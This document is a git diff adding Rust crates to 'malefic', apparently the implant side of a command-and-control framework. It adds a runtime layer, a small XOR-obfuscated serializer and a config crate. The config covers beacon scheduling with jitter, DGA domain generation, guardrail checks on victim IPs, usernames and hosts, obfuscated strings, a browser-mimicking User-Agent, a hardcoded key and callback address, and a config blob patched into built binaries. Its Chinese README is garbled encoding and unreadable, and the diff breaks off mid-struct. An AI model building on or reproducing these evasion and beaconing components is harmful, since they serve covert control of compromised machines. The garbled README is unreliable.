+++ b/malefic-crates/common/src/lib.rs @@ -0,0 +1,184 @@ +pub mod errors; +pub mod tinyserde; +pub mod utils; + +#[cfg(any(feature = "random_nanorand", feature = "random_getrandom"))] +pub mod random; + +#[cfg(all(target_os = "linux", target_env = "gnu"))] +mod getrandom_compat; + +// Runtime mutual exclusion check +#[cfg(any( + all(feature = "tokio", feature = "async-std"), + all(feature = "tokio", feature = "smol"), + all(feature = "async-std", feature = "smol"), +))] +compile_error!("Only one runtime feature (tokio / async-std / smol) can be enabled at a time"); + +#[cfg(any(feature = "async-std", feature = "smol", feature = "tokio"))] +use std::sync::{Arc, Mutex}; + +#[cfg(feature = "async-std")] +pub use async_std::task::spawn; +#[cfg(feature = "smol")] +pub use smol::spawn; +#[cfg(feature = "tokio")] +pub use tokio::task::spawn; + +#[cfg(feature = "async-std")] +pub use async_std::task::spawn_blocking; +#[cfg(feature = "smol")] +pub use smol::unblock as spawn_blocking; +#[cfg(feature = "tokio")] +pub use tokio::task::spawn_blocking; + +#[cfg(feature = "async-std")] +pub use async_std::task::JoinHandle as Handle; +#[cfg(feature = "smol")] +pub use smol::Task as Handle; +#[cfg(feature = "tokio")] +pub use tokio::task::JoinHandle as Handle; + +#[async_trait::async_trait] +pub trait CancellableHandle { + fn cancel(&self); +} + +#[cfg(feature = "async-std")] +impl CancellableHandle for Arc>>> { + fn cancel(&self) { + if let Ok(mut handle) = self.lock() { + if let Some(h) = handle.take() { + h.cancel(); + } + } + } +} + +#[cfg(feature = "smol")] +impl CancellableHandle for Arc>>> { + fn cancel(&self) { + if let Ok(mut handle) = self.lock() { + if let Some(h) = handle.take() { + h.cancel(); + } + } + } +} + +#[cfg(feature = "tokio")] +impl CancellableHandle for Arc>>> { + fn cancel(&self) { + if let Ok(mut handle) = self.lock() { + if let Some(h) = handle.take() { + h.abort(); + } + } + } +} + +#[cfg(feature = "async-std")] +pub type RuntimeHandle = Arc>>>; +#[cfg(feature = "smol")] +pub type RuntimeHandle = Arc>>>; +#[cfg(feature = "tokio")] +pub type RuntimeHandle = Arc>>>; + +/// Await a spawn handle, returning `Ok(T)` uniformly across runtimes. +/// +/// - **tokio**: `JoinHandle.await` returns `Result` — maps the error. +/// - **async-std** / **smol**: `.await` returns `T` directly — wraps in `Ok`. +#[cfg(feature = "tokio")] +pub async fn join_handle(handle: Handle) -> anyhow::Result +where + T: Send + 'static, +{ + handle + .await + .map_err(|e| anyhow::anyhow!("task join error: {}", e)) +} + +#[cfg(feature = "async-std")] +pub async fn join_handle(handle: Handle) -> anyhow::Result +where + T: Send + 'static, +{ + Ok(handle.await) +} + +#[cfg(feature = "smol")] +pub async fn join_handle(handle: Handle) -> anyhow::Result +where + T: Send + 'static, +{ + Ok(handle.await) +} + +/// Runtime-agnostic sleep, backed by `futures_timer::Delay`. +pub async fn sleep(duration: std::time::Duration) { + futures_timer::Delay::new(duration).await; +} + +/// Runtime-agnostic block_on with worker thread hint. +/// +/// - **tokio**: builds a multi-thread runtime with `worker_threads` threads +/// and `max_blocking_threads` blocking threads. +/// - **async-std** / **smol**: uses the runtime's native `block_on`; +/// `_worker_threads` / `_max_blocking_threads` are ignored (thread pool is auto-managed). +/// - **no runtime feature**: falls back to `futures::executor::block_on`. +#[cfg(feature = "tokio")] +pub fn block_on( + worker_threads: usize, + max_blocking_threads: usize, + fut: F, +) -> F::Output { + tokio::runtime::Builder::new_multi_thread() + .worker_threads(worker_threads) + .max_blocking_threads(max_blocking_threads) + .enable_all() + .build() + .expect("failed to build tokio runtime") + .block_on(fut) +} + +#[cfg(feature = "async-std")] +pub fn block_on( + _worker_threads: usize, + _max_blocking_threads: usize, + fut: F, +) -> F::Output { + async_std::task::block_on(fut) +} + +#[cfg(feature = "smol")] +pub fn block_on( + _worker_threads: usize, + _max_blocking_threads: usize, + fut: F, +) -> F::Output { + smol::block_on(fut) +} + +#[cfg(not(any(feature = "tokio", feature = "async-std", feature = "smol")))] +pub fn block_on( + _worker_threads: usize, + _max_blocking_threads: usize, + fut: F, +) -> F::Output { + futures::executor::block_on(fut) +} + +#[macro_export] +macro_rules! check_body { + ($field:expr, $variant:path) => {{ + if $field.body.is_none() { + Err($crate::errors::MaleficError::MissBody) + } else { + match $field.body { + Some($variant(inner_body)) => Ok(inner_body), + _ => Err($crate::errors::MaleficError::UnExceptBody), + } + } + }}; +} diff --git a/malefic-crates/common/src/random.rs b/malefic-crates/common/src/random.rs new file mode 100644 index 0000000..71ae4cc --- /dev/null +++ b/malefic-crates/common/src/random.rs @@ -0,0 +1,55 @@ +//! Unified random API. +//! +//! Backend selection via features (mutually exclusive by convention): +//! - `random_nanorand`: fast PRNG (WyRand) +//! - `random_getrandom`: OS cryptographic RNG +//! +//! If both are enabled, `getrandom` takes priority (crypto-safe). + +// ---- Fill bytes ---- + +#[cfg(feature = "random_getrandom")] +pub fn fill(buf: &mut [u8]) { + getrandom::getrandom(buf).expect("OS RNG unavailable"); +} + +#[cfg(all(feature = "random_nanorand", not(feature = "random_getrandom")))] +pub fn fill(buf: &mut [u8]) { + use nanorand::Rng; + nanorand::WyRand::new().fill_bytes(buf); +} + +pub fn bytes() -> [u8; N] { + let mut buf = [0u8; N]; + fill(&mut buf); + buf +} + +pub fn random_u8() -> u8 { + bytes::<1>()[0] +} + +// ---- Range generation ---- + +#[cfg(all(feature = "random_nanorand", not(feature = "random_getrandom")))] +pub fn range_u64(low: u64, high: u64) -> u64 { + use nanorand::Rng; + nanorand::WyRand::new().generate_range(low..high) +} + +#[cfg(all(feature = "random_nanorand", not(feature = "random_getrandom")))] +pub fn range_usize(low: usize, high: usize) -> usize { + use nanorand::Rng; + nanorand::WyRand::new().generate_range(low..high) +} + +#[cfg(feature = "random_getrandom")] +pub fn range_u64(low: u64, high: u64) -> u64 { + let raw = u64::from_le_bytes(bytes::<8>()); + low + raw % (high - low) +} + +#[cfg(feature = "random_getrandom")] +pub fn range_usize(low: usize, high: usize) -> usize { + range_u64(low as u64, high as u64) as usize +} diff --git a/malefic-crates/common/src/tinyserde.rs b/malefic-crates/common/src/tinyserde.rs new file mode 100644 index 0000000..3bfb737 --- /dev/null +++ b/malefic-crates/common/src/tinyserde.rs @@ -0,0 +1,403 @@ +extern crate alloc; + +use alloc::collections::BTreeMap; +use alloc::string::{String, ToString}; +use alloc::vec::Vec; +use core::convert::{TryFrom, TryInto}; +use core::fmt; + +#[derive(Debug)] +pub enum Error { + UnexpectedEof, + InvalidUtf8, + InvalidTag(u8), + TrailingBytes, + DecryptionFailed, + TypeMismatch(&'static str), +} + +impl fmt::Display for Error { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Error::UnexpectedEof => write!(f, "Unexpected end of file"), + Error::InvalidUtf8 => write!(f, "Invalid UTF-8 sequence"), + Error::InvalidTag(t) => write!(f, "Invalid tag encountered: 0x{:02x}", t), + Error::TrailingBytes => write!(f, "Data remains after deserialization"), + Error::DecryptionFailed => write!(f, "Decryption failed or integrity check error"), + Error::TypeMismatch(expected) => write!(f, "Expected type: {}", expected), + } + } +} + +impl std::error::Error for Error {} + +pub type Result = core::result::Result; + +pub trait Cipher { + fn encrypt(&self, input: &[u8], output: &mut Vec); + fn decrypt(&self, input: &[u8], output: &mut Vec) -> Result<()>; +} + +pub struct XorCipher { + seed: u64, +} + +impl XorCipher { + pub fn new(seed: u64) -> Self { + Self { seed } + } + + fn next_u8(state: &mut u64) -> u8 { + let mut x = *state; + x ^= x << 13; + x ^= x >> 7; + x ^= x << 17; + *state = x; + x as u8 + } + + fn process(seed: u64, input: &[u8], output: &mut Vec) { + let mut state = seed; + output.reserve(input.len()); + for &b in input { + output.push(b ^ Self::next_u8(&mut state)); + } + } +} + +impl Cipher for XorCipher { + fn encrypt(&self, input: &[u8], output: &mut Vec) { + Self::process(self.seed, input, output); + } + + fn decrypt(&self, input: &[u8], output: &mut Vec) -> Result<()> { + Self::process(self.seed, input, output); + Ok(()) + } +} + +#[derive(Debug, Clone, PartialEq)] +pub enum Value { + Null, + Bool(bool), + Int(i64), + Float(f64), + Str(String), + Bytes(Vec), + Seq(Vec), + Map(BTreeMap), +} + +mod tags { + pub const NULL: u8 = 0x00; + pub const FALSE: u8 = 0x01; + pub const TRUE: u8 = 0x02; + pub const INT: u8 = 0x03; + pub const FLOAT: u8 = 0x04; + pub const STR: u8 = 0x05; + pub const BYTES: u8 = 0x06; + pub const SEQ: u8 = 0x07; + pub const MAP: u8 = 0x08; +} + +impl Value { + pub fn to_bytes(&self) -> Vec { + let mut buf = Vec::new(); + self.encode_into(&mut buf); + buf + } + + pub fn to_bytes_encrypted(&self, cipher: &C) -> Vec { + let mut plain = Vec::new(); + self.encode_into(&mut plain); + + let mut encrypted = Vec::with_capacity(plain.len()); + cipher.encrypt(&plain, &mut encrypted); + encrypted + } + + fn encode_into(&self, buf: &mut Vec) { + use tags::*; + match self { + Value::Null => buf.push(NULL), + Value::Bool(false) => buf.push(FALSE), + Value::Bool(true) => buf.push(TRUE), + Value::Int(n) => { + buf.push(INT); + buf.extend_from_slice(&n.to_le_bytes()); + } + Value::Float(f) => { + buf.push(FLOAT); + buf.extend_from_slice(&f.to_le_bytes()); + } + Value::Str(s) => { + buf.push(STR); + encode_varint(buf, s.len()); + buf.extend_from_slice(s.as_bytes()); + } + Value::Bytes(b) => { + buf.push(BYTES); + encode_varint(buf, b.len()); + buf.extend_from_slice(b); + } + Value::Seq(seq) => { + buf.push(SEQ); + encode_varint(buf, seq.len()); + for item in seq { + item.encode_into(buf); + } + } + Value::Map(map) => { + buf.push(MAP); + encode_varint(buf, map.len()); + for (k, v) in map { + encode_varint(buf, k.len()); + buf.extend_from_slice(k.as_bytes()); + v.encode_into(buf); + } + } + } + } + + pub fn from_bytes(bytes: &[u8]) -> Result { + let mut cursor = Cursor::new(bytes); + let val = cursor.decode()?; + if !cursor.is_empty() { + return Err(Error::TrailingBytes); + } + Ok(val) + } + + pub fn from_bytes_encrypted(bytes: &[u8], cipher: &C) -> Result { + let mut plain = Vec::with_capacity(bytes.len()); + cipher.decrypt(bytes, &mut plain)?; + Self::from_bytes(&plain) + } +} + +fn encode_varint(buf: &mut Vec, mut n: usize) { + while n >= 0x80 { + buf.push((n as u8) | 0x80); + n >>= 7; + } + buf.push(n as u8); +} + +struct Cursor<'a> { + data: &'a [u8], + pos: usize, +} + +impl<'a> Cursor<'a> { + fn new(data: &'a [u8]) -> Self { + Self { data, pos: 0 } + } + + fn is_empty(&self) -> bool { + self.pos >= self.data.len() + } + + fn read_u8(&mut self) -> Result { + if self.pos < self.data.len() { + let b = self.data[self.pos]; + self.pos += 1; + Ok(b) + } else { + Err(Error::UnexpectedEof) + } + } + + fn read_exact(&mut self, len: usize) -> Result<&'a [u8]> { + if self.pos + len <= self.data.len() { + let slice = &self.data[self.pos..self.pos + len]; + self.pos += len; + Ok(slice) + } else { + Err(Error::UnexpectedEof) + } + } + + fn read_varint(&mut self) -> Result { + let mut n: usize = 0; + let mut shift = 0; + loop { + let b = self.read_u8()?; + n |= ((b & 0x7F) as usize) << shift; + if (b & 0x80) == 0 { + return Ok(n); + } + shift += 7; + if shift > 64 { + return Err(Error::DecryptionFailed); + } + } + } + + fn decode(&mut self) -> Result { + use tags::*; + let tag = self.read_u8()?; + match tag { + NULL => Ok(Value::Null), + FALSE => Ok(Value::Bool(false)), + TRUE => Ok(Value::Bool(true)), + INT => { + let bytes = self.read_exact(8)?; + Ok(Value::Int(i64::from_le_bytes(bytes.try_into().unwrap()))) + } + FLOAT => { + let bytes = self.read_exact(8)?; + Ok(Value::Float(f64::from_le_bytes(bytes.try_into().unwrap()))) + } + STR => { + let len = self.read_varint()?; + let bytes = self.read_exact(len)?; + let s = alloc::str::from_utf8(bytes).map_err(|_| Error::InvalidUtf8)?; + Ok(Value::Str(s.to_string())) + } + BYTES => { + let len = self.read_varint()?; + let bytes = self.read_exact(len)?; + Ok(Value::Bytes(bytes.to_vec())) + } + SEQ => { + let len = self.read_varint()?; + let mut seq = Vec::with_capacity(len); + for _ in 0..len { + seq.push(self.decode()?); + } + Ok(Value::Seq(seq)) + } + MAP => { + let len = self.read_varint()?; + let mut map = BTreeMap::new(); + for _ in 0..len { + let k_len = self.read_varint()?; + let k_bytes = self.read_exact(k_len)?; + let k = alloc::str::from_utf8(k_bytes).map_err(|_| Error::InvalidUtf8)?; + let v = self.decode()?; + map.insert(k.to_string(), v); + } + Ok(Value::Map(map)) + } + t => Err(Error::InvalidTag(t)), + } + } +} + +impl TryFrom for i64 { + type Error = Error; + fn try_from(v: Value) -> Result { + if let Value::Int(n) = v { + Ok(n) + } else { + Err(Error::TypeMismatch("i64")) + } + } +} + +impl TryFrom for String { + type Error = Error; + fn try_from(v: Value) -> Result { + if let Value::Str(s) = v { + Ok(s) + } else { + Err(Error::TypeMismatch("String")) + } + } +} + +impl From for Value { + fn from(v: i32) -> Self { + Value::Int(v as i64) + } +} + +impl From for Value { + fn from(v: i64) -> Self { + Value::Int(v) + } +} + +impl From for Value { + fn from(v: f64) -> Self { + Value::Float(v) + } +} + +impl From for Value { + fn from(v: bool) -> Self { + Value::Bool(v) + } +} + +impl From<&str> for Value { + fn from(v: &str) -> Self { + Value::Str(v.to_string()) + } +} + +impl From for Value { + fn from(v: String) -> Self { + Value::Str(v) + } +} + +impl From> for Value { + fn from(v: Vec) -> Self { + Value::Bytes(v) + } +} + +#[macro_export] +macro_rules! val { + (null) => { $crate::tinyserde::Value::Null }; + ([ $( $elem:tt ),* ]) => { + $crate::tinyserde::Value::Seq(alloc::vec![ $( $crate::val!($elem) ),* ]) + }; + ({ $( $key:tt : $val:tt ),* }) => { + { + let mut m = alloc::collections::BTreeMap::new(); + $( m.insert(alloc::string::String::from($key), $crate::val!($val)); )* + $crate::tinyserde::Value::Map(m) + } + }; + ($other:expr) => { $crate::tinyserde::Value::from($other) }; +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::val; + + #[test] + fn test_full_flow() { + let config = val!({ + "id": 101, + "name": "RustyConfig", + "features": ["secure", "fast"], + "meta": { "active": true } + }); + + let key = 0x1234_5678_9ABC_DEF0; + let cipher = XorCipher::new(key); + + let encrypted_bytes = config.to_bytes_encrypted(&cipher); + let plain_bytes = config.to_bytes(); + + assert_ne!(encrypted_bytes, plain_bytes); + + let decoded = Value::from_bytes_encrypted(&encrypted_bytes, &cipher) + .expect("Should decrypt successfully"); + + assert_eq!(config, decoded); + } + + #[test] + fn test_type_conversion() { + use core::convert::TryInto; + + let v = val!(42); + let n: i64 = v.try_into().unwrap(); + assert_eq!(n, 42); + } +} diff --git a/malefic-helper/src/common/utils.rs b/malefic-crates/common/src/utils.rs similarity index 87% rename from malefic-helper/src/common/utils.rs rename to malefic-crates/common/src/utils.rs index 04bf9ab..00ef424 100644 --- a/malefic-helper/src/common/utils.rs +++ b/malefic-crates/common/src/utils.rs @@ -55,13 +55,17 @@ pub fn format_cmdline(processname: String, params: Vec) -> String { return format_osstring(processname); } - let param_str = params.iter().map(|param| { - if param.contains(' ') && !param.starts_with('"') && !param.ends_with('"') { - format!("\"{}\"", param) - } else { - param.clone() - } - }).collect::>().join(" "); + let param_str = params + .iter() + .map(|param| { + if param.contains(' ') && !param.starts_with('"') && !param.ends_with('"') { + format!("\"{}\"", param) + } else { + param.clone() + } + }) + .collect::>() + .join(" "); format_osstring(processname + " " + ¶m_str) } diff --git a/malefic-crates/config/Cargo.toml b/malefic-crates/config/Cargo.toml new file mode 100644 index 0000000..6a66c30 --- /dev/null +++ b/malefic-crates/config/Cargo.toml @@ -0,0 +1,14 @@ +[package] +name = "malefic-config" +version = "0.1.0" +edition = "2021" + +[features] +default = [] +encoder = [] +secure = [] + +[dependencies] +malefic-gateway = { workspace = true } +base64 = { workspace = true } +malefic-common = { workspace = true } diff --git a/malefic-crates/config/README.md b/malefic-crates/config/README.md new file mode 100644 index 0000000..c091aa1 --- /dev/null +++ b/malefic-crates/config/README.md @@ -0,0 +1,75 @@ +# malefic-config + +è¿è¡Œæ—¶é…置管ç†ä¸ŽäºŒè¿›åˆ¶ patch 模å—,负责é…置的定义ã€åºåˆ—化/ååºåˆ—化,以åŠé€šè¿‡åµŒå…¥å¼ blob 实现编译åŽçš„é…置热替æ¢ã€‚ + +## 功能简介 + +- 定义完整的è¿è¡Œæ—¶é…置结构体 `RuntimeConfig`,涵盖调度ã€é€šä¿¡ã€ä»£ç†ã€DGAã€Guardrail ç­‰é…置项 +- 在二进制中嵌入固定长度(4096 字节)的 `CONFIG_BLOB_TEXT` 缓冲区,支æŒç¼–译åŽé€šè¿‡å¤–部工具原地 patch é…ç½® +- 使用 XOR 加密 + Base64 ç¼–ç ä¿æŠ¤åµŒå…¥çš„é…ç½®æ•°æ® +- 通过 `lazy_static` 在首次访问时加载é…ç½®ï¼Œä¼˜å…ˆè¯»å– patch åŽçš„ blob,无 patch 时回退到编译期默认值 +- 支æŒå¤šç§ä¼ è¾“åè®®é…置:TCPã€HTTPã€REM +- æ”¯æŒ TLS/mTLSã€ä»£ç†ã€DGA 域å生æˆã€Guardrail 环境校验等高级特性 + +## Features + +| Feature | 说明 | +|---------|------| +| `encoder` | å¯ç”¨é…置编ç åŠŸèƒ½ï¼ˆ`encode_runtime_config`),通常仅在构建工具侧使用,implant 本身ä¸éœ€è¦ | + +## é…置结构 + +`RuntimeConfig` 包å«ä»¥ä¸‹é…置域: + +| é…置域 | 字段 | 说明 | +|--------|------|------| +| 调度 | `cron`, `jitter` | Cron 表达å¼ä¸ŽæŠ–动系数 | +| é€šä¿¡æ¨¡å¼ | `keepalive` | 新会è¯å¯åŠ¨åŽæ˜¯å¦ç›´æŽ¥è¿›å…¥ Duplex keepalive | +| 容错 | `retry`, `max_cycles` | é‡è¯•次数与最大循环数 | +| 身份 | `name`, `key` | 实例å称与加密密钥 | +| ä»£ç† | `proxy_*`, `use_env_proxy` | ä»£ç†æœåС噍é…ç½® | +| DGA | `dga_enable`, `dga_key`, `dga_interval_hours` | 域å生æˆç®—法é…ç½® | +| Guardrail | `guardrail` | è¿è¡ŒçŽ¯å¢ƒæ ¡éªŒï¼ˆIPã€ç”¨æˆ·åã€ä¸»æœºåã€åŸŸï¼‰ | +| æœåŠ¡ç«¯ | `server_configs` | 多æœåŠ¡ç«¯è¿žæŽ¥é…置列表 | + +## 基本用法 + +ç›´æŽ¥é€šè¿‡å¯¼å‡ºçš„é™æ€å˜é‡è®¿é—®é…置: + +```rust +use malefic_config::{CRON, KEEPALIVE, KEY, SERVER_CONFIGS, RUNTIME_CONFIG}; + +// 访问调度é…ç½® +let cron_expr = CRON.as_str(); +let jitter = *malefic_config::JITTER; +let keepalive = *KEEPALIVE; + +// 访问æœåŠ¡ç«¯é…ç½® +for server in SERVER_CONFIGS.iter() { + println!("address: {}, protocol: {:?}", server.address, server.protocol); +} +``` + +ç¼–ç é…置(需å¯ç”¨ `encoder` feature,用于构建工具侧): + +```rust +use malefic_config::{encode_runtime_config, decode_runtime_config_str, RuntimeConfig}; + +// å°† RuntimeConfig ç¼–ç ä¸ºå›ºå®šé•¿åº¦çš„ 4096 字节字符串 +let encoded = encode_runtime_config(&config).expect("encode failed"); + +// è§£ç è¿˜åŽŸ +let decoded = decode_runtime_config_str(&encoded).expect("decode failed"); +``` + +## Blob Patch åŽŸç† + +1. 编译时,`CONFIG_BLOB_TEXT` 以 `#[no_mangle]` 导出一个 4096 字节的固定缓冲区(å‰ç¼€ `CFGv3B64` + `#` 填充) +2. 外部 patch 工具在二进制中定ä½è¯¥ç¼“冲区,将加密åŽçš„é…置数æ®å†™å…¥ +3. è¿è¡Œæ—¶ `load_runtime_config` 读å–缓冲区,解密并ååºåˆ—化为 `RuntimeConfig` +4. 若缓冲区未被 patch(全为填充字符),则使用编译期硬编ç çš„默认é…ç½® + +## å‚考链接 + +- [Cron 表达å¼è¯­æ³•](https://docs.rs/cron/latest/cron/) +- [Domain Generation Algorithm (DGA)](https://en.wikipedia.org/wiki/Domain_generation_algorithm) diff --git a/malefic-crates/config/src/config.rs b/malefic-crates/config/src/config.rs new file mode 100644 index 0000000..55ec43f --- /dev/null +++ b/malefic-crates/config/src/config.rs @@ -0,0 +1,330 @@ +use malefic_gateway::obfstr::obfstr; +use malefic_gateway::ObfDebug; +use std::collections::HashMap; +use std::time::Duration; +// ============= Unified Configuration Structure ============= +#[derive(ObfDebug, Clone, PartialEq)] +pub struct SessionConfig { + pub read_chunk_size: usize, + pub deadline: Duration, + pub connect_timeout: Duration, + pub keepalive: bool, +} + +#[derive(ObfDebug, Clone, PartialEq)] +pub struct ServerConfig { + pub address: String, + pub protocol: ProtocolType, + pub session_config: SessionConfig, + pub transport_config: TransportConfig, + pub tls_config: Option, + pub proxy_config: Option, + pub domain_suffix: Option, +} + +#[derive(ObfDebug, Clone, PartialEq)] +pub enum ProtocolType { + Tcp, + Http, + REM, + Other(String), +} + +#[derive(ObfDebug, Clone, PartialEq)] +pub enum TransportConfig { + Tcp(TcpConfig), + Http(HttpRequestConfig), + Rem(RemConfig), + Opaque(String), +} + +// ============= TCP Configuration Structure ============= + +#[derive(ObfDebug, Clone, PartialEq)] +pub struct TcpConfig { + // TCP-specific configuration can be added here + // pub socket_options: Option, +} + +#[derive(ObfDebug, Clone, PartialEq)] +pub struct SocketOptions { + pub nodelay: bool, + pub reuse_addr: bool, + pub send_buffer_size: Option, + pub recv_buffer_size: Option, +} + +// ============= HTTP Configuration Structure ============= + +#[derive(ObfDebug, Clone, PartialEq)] +pub struct HttpRequestConfig { + pub method: String, + pub path: String, + pub version: String, + pub headers: HashMap, // Contains all HTTP headers + pub response_read_chunk_size: usize, + pub response_retry_delay: Duration, +} + +// ============= REM Configuration Structure ============= + +#[derive(ObfDebug, Clone, PartialEq)] +pub struct RemConfig { + pub link: String, +} + +pub const DEFAULT_STREAM_READ_CHUNK_SIZE: usize = 8 * 1024; +const DEFAULT_STREAM_DEADLINE: Duration = Duration::from_secs(3); +const DEFAULT_STREAM_CONNECT_TIMEOUT: Duration = Duration::from_secs(3); + +const DEFAULT_REM_INTERVAL: Duration = Duration::from_secs(5); +const DEFAULT_REM_SESSION_DEADLINE_FACTOR: u32 = 10; +const DEFAULT_REM_CONNECT_TIMEOUT_FACTOR: u32 = 20; + +const DEFAULT_HTTP_RESPONSE_READ_CHUNK_SIZE: usize = 8 * 1024; +const DEFAULT_HTTP_RESPONSE_RETRY_DELAY: Duration = Duration::from_millis(10); + +// ============= Common Configuration Structure ============= + +#[derive(ObfDebug, Clone, PartialEq)] +pub struct MTLSConfig { + /// Enable mTLS + pub enable: bool, + pub client_cert: Vec, + pub client_key: Vec, + pub server_ca: Vec, +} + +#[derive(ObfDebug, Clone, PartialEq)] +pub struct TlsConfig { + pub enable: bool, + pub version: String, + pub sni: String, + pub skip_verification: bool, + pub server_ca: Vec, + pub mtls_config: Option, +} + +#[derive(ObfDebug, Clone, PartialEq)] +pub struct ProxyConfig { + pub proxy_type: String, + pub host: String, + pub port: u16, + pub username: String, + pub password: String, +} + +// ============= Guardrail Configuration Structure ============= + +#[derive(ObfDebug, Clone, PartialEq)] +pub struct GuardrailConfig { + pub ip_addresses: Vec, + pub usernames: Vec, + pub server_names: Vec, + pub domains: Vec, + pub require_all: bool, +} + +// ============= Implementation Methods ============= + +// impl Default for TcpConfig { +// fn default() -> Self { +// Self { +// } +// } +// } + +impl SessionConfig { + pub fn new( + read_chunk_size: usize, + deadline: Duration, + connect_timeout: Duration, + keepalive: bool, + ) -> Self { + Self { + read_chunk_size, + deadline, + connect_timeout, + keepalive, + } + } + + pub fn default_for_transport(transport: &TransportConfig, keepalive: bool) -> Self { + match transport { + TransportConfig::Rem(rem) => Self::rem_default(rem, keepalive), + TransportConfig::Tcp(_) | TransportConfig::Http(_) | TransportConfig::Opaque(_) => { + Self::stream_default(keepalive) + } + } + } + + pub fn stream_default(keepalive: bool) -> Self { + Self::new( + DEFAULT_STREAM_READ_CHUNK_SIZE, + DEFAULT_STREAM_DEADLINE, + DEFAULT_STREAM_CONNECT_TIMEOUT, + keepalive, + ) + } + + pub fn rem_default(rem: &RemConfig, keepalive: bool) -> Self { + let deadline = rem.default_session_deadline(); + Self::new( + DEFAULT_STREAM_READ_CHUNK_SIZE, + deadline, + rem.default_connect_timeout(), + keepalive, + ) + } +} + +impl HttpRequestConfig { + pub fn new(method: &str, path: &str, version: &str) -> Self { + let mut headers = HashMap::new(); + headers.insert( + obfstr!("Connection").to_string(), + obfstr!("close").to_string(), + ); + headers.insert( + obfstr!("User-Agent").to_string(), + obfstr!("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36").to_string(), + ); + headers.insert( + obfstr!("Content-Type").to_string(), + obfstr!("application/octet-stream").to_string(), + ); + + Self { + method: method.to_string(), + path: path.to_string(), + version: version.to_string(), + headers, + response_read_chunk_size: DEFAULT_HTTP_RESPONSE_READ_CHUNK_SIZE, + response_retry_delay: DEFAULT_HTTP_RESPONSE_RETRY_DELAY, + } + } + + pub fn with_header(mut self, key: &str, value: &str) -> Self { + self.headers.insert(key.to_string(), value.to_string()); + self + } + + pub fn with_runtime_tuning( + mut self, + response_read_chunk_size: usize, + response_retry_delay: Duration, + ) -> Self { + self.response_read_chunk_size = response_read_chunk_size; + self.response_retry_delay = response_retry_delay; + self + } + + pub fn build_request(&self, content_length: usize) -> String { + let mut request = format!("{} {} HTTP/{}\r\n", self.method, self.path, self.version); + + if content_length > 0 { + request.push_str(&format!( + "{}: {}\r\n", + obfstr!("Content-Length"), + content_length + )); + } + + for (key, value) in &self.headers { + request.push_str(&format!("{}: {}\r\n", key, value)); + } + + request.push_str("\r\n"); + request + } +} + +impl RemConfig { + pub fn new(link: String) -> Self { + Self { link } + } + + pub fn interval(&self) -> Duration { + parse_duration_query_ms(&self.link, "interval").unwrap_or(DEFAULT_REM_INTERVAL) + } + + /// Default session-layer idle deadline derived from the REM poll interval. + /// + /// This is only used when the caller omits an explicit `ServerConfig.session_config`. + pub fn default_session_deadline(&self) -> Duration { + scale_duration(self.interval(), DEFAULT_REM_SESSION_DEADLINE_FACTOR) + } + + /// Default connection/handshake timeout derived from the REM poll interval. + /// + /// This is only used when the caller omits an explicit `ServerConfig.session_config`. + pub fn default_connect_timeout(&self) -> Duration { + scale_duration(self.interval(), DEFAULT_REM_CONNECT_TIMEOUT_FACTOR) + } +} + +fn parse_duration_query_ms(link: &str, key: &str) -> Option { + let millis = parse_u64_query(link, key)?; + if millis == 0 { + None + } else { + Some(Duration::from_millis(millis)) + } +} + +fn parse_u64_query(link: &str, key: &str) -> Option { + let needle = format!("{key}="); + let start = link.find(&needle)? + needle.len(); + let digits: String = link[start..] + .chars() + .take_while(|c| c.is_ascii_digit()) + .collect(); + digits.parse::().ok() +} + +fn scale_duration(duration: Duration, factor: u32) -> Duration { + let millis = duration.as_millis(); + let scaled = millis.saturating_mul(factor as u128); + let capped = scaled.min(u64::MAX as u128) as u64; + Duration::from_millis(capped) +} + +impl ServerConfig { + /// Check if DGA is supported + pub fn supports_dga(&self) -> bool { + self.domain_suffix.is_some() + } + + /// Get domain suffix + pub fn get_domain_suffix(&self) -> Option<&String> { + self.domain_suffix.as_ref() + } + + /// Check if address is an IP address + pub fn is_ip_address(&self) -> bool { + if let Some(colon_pos) = self.address.rfind(':') { + let host = &self.address[..colon_pos]; + host.parse::().is_ok() + } else { + self.address.parse::().is_ok() + } + } + + /// Get host address (without port) + pub fn get_host(&self) -> String { + if let Some(colon_pos) = self.address.rfind(':') { + self.address[..colon_pos].to_string() + } else { + self.address.clone() + } + } + + /// Get port + pub fn get_port(&self) -> String { + if let Some(colon_pos) = self.address.rfind(':') { + self.address[colon_pos..].to_string() + } else { + obfstr!(":443").to_string() + } + } +} diff --git a/malefic-crates/config/src/lib.rs b/malefic-crates/config/src/lib.rs new file mode 100644 index 0000000..0cf2827 --- /dev/null +++ b/malefic-crates/config/src/lib.rs @@ -0,0 +1,123 @@ +mod config; +mod runtime; +use std::time::Duration; + +pub use config::{ + ServerConfig, + ProtocolType, + SessionConfig, + TransportConfig, + // TCP + TcpConfig, + SocketOptions, + // HTTP + HttpRequestConfig, + // REM + RemConfig, + // TLS + MTLSConfig, + TlsConfig, + ProxyConfig, + // Guardrail + GuardrailConfig, +}; +pub use runtime::{ + BlobError, + ConfigBlobText, + RuntimeConfig, + CONFIG_BLOB_B64_LEN, + CONFIG_BLOB_TEXT, + CONFIG_BLOB_TEXT_LEN, + decode_runtime_config_bytes, + decode_runtime_config_str, + get_transport_key, + load_runtime_config, + update_runtime_key, +}; +#[cfg(feature = "encoder")] +pub use runtime::encode_runtime_config; +use malefic_gateway::lazy_static; + +lazy_static! { + pub static ref RUNTIME_CONFIG: RuntimeConfig = load_runtime_config(RuntimeConfig { + cron: "*/5 * * * * * *".to_string(), + jitter: 0.2f64, + keepalive: false, + retry: 10u32, + max_cycles: -1i32, + name: "malefic".to_string(), + key: "maliceofinternal".to_string().into_bytes(), + use_env_proxy: false, + proxy_url: "".to_string(), + proxy_scheme: "".to_string(), + proxy_host: "".to_string(), + proxy_port: "".to_string(), + proxy_username: "".to_string(), + proxy_password: "".to_string(), + dga_enable: false, + dga_key: String::new(), + dga_interval_hours: 8u32, + guardrail: GuardrailConfig { + ip_addresses: Vec::new(), + usernames: Vec::new(), + server_names: Vec::new(), + domains: Vec::new(), + require_all: true, + }, + server_configs: { + let mut configs = Vec::new(); + { + let transport_config = TransportConfig::Tcp(TcpConfig {}); + let mut session_config = SessionConfig::default_for_transport(&transport_config, false); + configs.push( + ServerConfig { + address: "127.0.0.1:5001".to_string(), + protocol: ProtocolType::Tcp, + session_config, + transport_config, + tls_config: None, + proxy_config: None, + domain_suffix: None, + 